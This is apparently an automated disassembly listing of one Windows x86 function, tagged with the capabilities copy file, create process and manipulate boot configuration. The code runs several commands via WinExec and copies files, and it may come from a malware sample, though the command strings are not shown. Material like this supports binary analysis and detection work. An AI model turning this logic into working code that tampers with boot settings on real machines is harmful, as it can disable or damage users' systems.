Function at 0x4d0c3c
Capabilities:
Copy file
Create process on windows
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x4d0c44
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4d0e9b
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4d0e74
push dword fs:[edx]
mov dword fs:[edx], esp
xor ebx, ebx
lea edx, [ebp - 0xc]
mov eax, dword [0x51297c]
mov eax, dword [eax]
call fcn.004820ec
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.0040921c
mov dl, 1
mov eax, dword [0x4174c4]
call fcn.004033c4
mov esi, eax
mov dl, 1
mov eax, dword [0x4174c4]
call fcn.004033c4
mov edi, eax
mov byte [ebp - 1], 0
push 0
push 0x4d0eac
call sub.kernel32.dll_WinExec
push 0
push 0x4d0ec8
call sub.kernel32.dll_WinExec
push 0
push 0x4d0ee4
call sub.kernel32.dll_WinExec
push 0
push 0x4d0f00
call sub.kernel32.dll_WinExec
push 0x12c
call sub.kernel32.dll_Sleep_1
mov eax, 0x4d0f24
call fcn.00409000
test al, al
je 0x4d0d2b
mov edx, 0x4d0f24
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea edx, [ebp - 0x14]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00408774
mov eax, dword [ebp - 0x10]
push eax
lea edx, [ebp - 0x18]
mov eax, 0x4d0f38
call fcn.00408774
mov eax, dword [ebp - 0x18]
pop edx
call fcn.0040480c
test eax, eax
mov eax, 0x4d0f58
call fcn.00409000
test al, al
jne 0x4d0d48
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d0e80
mov edx, 0x4d0f58
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea edx, [ebp - 0x20]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00408774
mov eax, dword [ebp - 0x1c]
push eax
lea edx, [ebp - 0x24]
mov eax, 0x4d0f6c
call fcn.00408774
mov eax, dword [ebp - 0x24]
pop edx
call fcn.0040480c
test eax, eax
jle 0x4d0dc0
lea edx, [ebp - 0x2c]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.00408774
mov eax, dword [ebp - 0x28]
push eax
lea edx, [ebp - 0x30]
mov eax, 0x4d0f8c
call fcn.00408774
mov eax, dword [ebp - 0x30]
pop edx
call fcn.0040480c
test eax, eax
jle 0x4d0dc0
mov bl, 1
mov byte [ebp - 1], 1
cmp byte [ebp - 1], 0
je 0x4d0e2c
mov eax, 0x4d0fa4
call fcn.00409000
test al, al
jne 0x4d0df9
push 0
push 0x4d0fb0
lea eax, [ebp - 0x34]
mov ecx, 0x4d0fc4
mov edx, dword [ebp - 8]
call fcn.00404514
mov eax, dword [ebp - 0x34]
call fcn.004046c8
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x4d0fd4
call fcn.00409000
test al, al
jne 0x4d0e2c
push 0
push 0x4d0fe0
lea eax, [ebp - 0x38]
mov ecx, 0x4d0ff4
mov edx, dword [ebp - 8]
call fcn.00404514
mov eax, dword [ebp - 0x38]
call fcn.004046c8
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x4d1000
call sub.kernel32.dll_WinExec
push 0
push 0x4d101c
call sub.kernel32.dll_WinExec
push 0
push 0x4d1038
call sub.kernel32.dll_WinExec
push 0
push 0x4d1054
call sub.kernel32.dll_WinExec
mov eax, esi
call fcn.004033f4
mov eax, edi
call fcn.004033f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d0e80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0ea2
lea eax, [ebp - 0x38]
mov edx, 0xd
call fcn.0040422c
ret